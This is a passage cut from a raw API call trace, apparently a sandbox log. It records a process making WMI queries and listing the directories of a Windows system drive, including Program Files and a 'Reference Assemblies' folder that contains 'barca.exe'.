pInParams=0x1aa14040, ppOutParams=0x1bb7e4d0*=0x0, ppCallResult=0x0 | out: ppOutParams=0x1bb7e4d0*=0x1aa14730, ppCallResult=0x0) returned 0x0 [0128.078] IWbemClassObject:Get (in: This=0x1aa14730, wszName="ProcessId", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2785988*=0, plFlavor=0x278598c*=0 | out: pVal=0x1bb7e610*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xebc, varVal2=0x0), pType=0x2785988*=19, plFlavor=0x278598c*=0) returned 0x0 [0128.079] IWbemClassObject:Get (in: This=0x1aa14730, wszName="ProcessId", lFlags=0, pVal=0x1bb7e620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2785988*=19, plFlavor=0x278598c*=0 | out: pVal=0x1bb7e620*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xebc, varVal2=0x0), pType=0x2785988*=19, plFlavor=0x278598c*=0) returned 0x0 [0128.080] CoTaskMemAlloc (cb=0x20c) returned 0x1a9882a0 [0128.080] GetSystemDirectoryW (in: lpBuffer=0x1a9882a0, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0128.080] CoTaskMemFree (pv=0x1a9882a0) [0128.080] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0128.080] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0128.081] FindFirstFileW (in: lpFileName="C:\\*" (normalized: "c:\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7f4e9560, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7f4e9560, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x1a9d8660 [0128.081] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0128.081] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0128.081] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0x95957a00, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95957a00, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95957a00, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0128.082] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd213bc0, ftCreationTime.dwHighDateTime=0x1d8a92a, ftLastAccessTime.dwLowDateTime=0x1889f2e0, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x1889f2e0, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="comproviderRuntimecommon", cAlternateFileName="COMPRO~1")) returned 1 [0128.082] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0128.082] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xa384ad20, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa384ad20, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x617749e0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0128.082] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xb883f1e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xb883f1e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb883f1e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0128.082] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x61c838a0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0128.082] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0128.082] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f317170, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f317170, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0128.082] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1434c8c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1434c8c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0128.082] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1f2b3de0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1f2b3de0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0128.082] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0128.082] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xbd8bb9c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbd8bb9c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0128.083] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0128.083] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f52c4b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f52c4b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0128.083] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0128.083] FindClose (in: hFindFile=0x1a9d8660 | out: hFindFile=0x1a9d8660) returned 1 [0128.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0128.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0128.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0128.083] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10 [0128.084] FindFirstFileW (in: lpFileName="C:\\Program Files\\*" (normalized: "c:\\program files\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f317170, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f317170, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a9d8660 [0128.084] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f317170, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f317170, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.084] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x96f46f30, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96f46f30, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0128.084] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0128.084] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96ed4b10, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96ed4b10, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="DVDMAK~1")) returned 1 [0128.084] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x96fb9350, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96fb9350, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0128.084] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd56ee620, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd56ee620, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd56ee620, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0128.085] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x972b2ed0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x972b2ed0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0128.085] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e88850, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96e88850, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0128.085] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x96f6d090, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96f6d090, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0128.085] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96f20dd0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96f20dd0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0128.085] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x95c62090, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x95c62090, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 1 [0128.085] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x95e04fb0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x95e04fb0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0128.085] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96f931f0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96f931f0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0128.085] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0128.085] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96efac70, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96efac70, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0128.085] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96fb9350, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96fb9350, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0128.085] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0128.085] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49bb8a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49bb8a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0128.085] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0128.085] FindClose (in: hFindFile=0x1a9d8660 | out: hFindFile=0x1a9d8660) returned 1 [0128.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0128.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0128.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0128.086] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Reference Assemblies", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Reference Assemblies", lpFilePart=0x0) returned 0x25 [0128.087] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\*" (normalized: "c:\\program files\\reference assemblies\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e88850, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96e88850, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a9d8660 [0128.087] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e88850, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96e88850, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0128.087] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x396335a0, ftCreationTime.dwHighDateTime=0x1d88c13, ftLastAccessTime.dwLowDateTime=0xd75f1720, ftLastAccessTime.dwHighDateTime=0x1d8a0f3, ftLastWriteTime.dwLowDateTime=0xd75f1720, ftLastWriteTime.dwHighDateTime=0x1d8a0f3, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="barca.exe", cAlternateFileName="")) returned 1 [0128.087] FindNextFileW (in: hFindFile=0x1a9d8660, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d64c850, ftCreationTime.dwHighDateTime=0x1d89005, ftLastAccessTime.dwLowDateTime=0xd0ae0c50, ftLastAccessTime.dwHighDateTime=0x1d89325, ftLastWriteTime.dwLowDateTime=0xd0ae0c50, ftLastWriteTime.dwHighDateTime=0x1d89325, nFileSizeHigh=0x0, 